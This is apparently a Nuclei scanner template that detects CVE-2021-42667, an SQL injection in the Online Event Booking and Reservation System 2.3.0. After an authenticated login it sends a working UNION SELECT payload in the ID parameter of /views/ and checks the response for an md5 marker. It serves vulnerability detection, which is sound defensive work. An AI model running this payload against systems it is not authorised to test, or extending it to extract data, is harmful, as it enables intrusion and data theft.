id: CVE-2021-42667

info:
  name: Online Event Booking and Reservation System version 2.3.0 - SQL injection
  author: fxploit
  severity: critical
  description: |
    A SQL Injection vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP in event-management/views. An attacker can leverage this vulnerability in order to manipulate the sql query performed. As a result he can extract sensitive data from the web server and in some cases he can use this vulnerability in order to get a remote code execution on the remote web server.
  reference:
    - https://github.com/0xDeku/CVE-2021-42667
    - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42667
    - https://github.com/TheHackingRabbi/CVE-2021-42667
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42667
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,cve2021,sqli,authenticated

variables:
  num: "999999999"

requests:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pwd={{password}}

      - |
        GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200